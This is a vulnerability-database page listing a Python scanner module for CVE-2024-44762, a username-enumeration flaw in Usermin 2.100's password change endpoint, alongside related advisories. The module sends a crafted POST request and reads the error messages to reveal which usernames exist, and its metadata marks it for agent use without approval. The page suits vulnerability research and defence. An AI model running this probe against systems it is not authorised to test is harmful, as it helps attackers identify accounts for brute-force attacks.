Lucene search
+L

Usermin 2.100 - Username Enumeration Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 12 Views

Usermin allows username enumeration via the password change endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Generation of Error Message Containing Sensitive Information in Webmin Usermin
27 Dec 202516:38
–githubexploit
avleonov
Information Security Automation
November Linux Patch Wednesday
21 Nov 202516:21
–avleonov
bdu_fstec
BDU FSTEC
Usermin Password Change Brute Force
30 Oct 202400:00
–bdu_fstec
circl
Circl
CVE-2024-44762
16 Oct 202423:55
–circl
cnnvd
CNNVD
Webmin Usermin security vulnerability
16 Oct 202400:00
–cnnvd
cve
CVE
CVE-2024-44762
16 Oct 202400:00
–cve
cvelist
Cvelist
CVE-2024-44762
16 Oct 202400:00
–cvelist
exploitdb
Exploit DB
Webmin Usermin 2.100 - Username Enumeration
3 Apr 202500:00
–exploitdb
exploitdb
Exploit DB
Usermin 2.100 - Username Enumeration
17 Apr 202500:00
–exploitdb
kitploit
Kitploit
CVE-2024-44762-webmin-userenum
31 Oct 202620:16
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Usermin version 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Usermin 2.100 - Username Enumeration Detection',
        'description': 'Usermin version 2.100 and below is susceptible to username enumeration via the password change functionality. An attacker can determine valid usernames by analyzing the response messages from the password change endpoint.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'usermin', 'webmin', 'exposure', 'usernames', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/52254',
            'https://www.webmin.com/usermin.html',
            'https://senscybersecurity.nl/cve-2024-44762-explained/',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-44762',
        ],
        'cve': 'CVE-2024-44762',
    }

    def run(self):
        path = '/password_change.cgi'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Referer': '{{BaseURL}}/password_change.cgi'}, data='user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('Failed to change password: The current password is incorrect', 'Your login name was not found in the password file',)
        if any(m in body for m in body_any):
            self.set_info(severity='medium', reason='Usermin 2.100 - Username Enumeration detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.15.3
EPSS0.02566
SSVC
12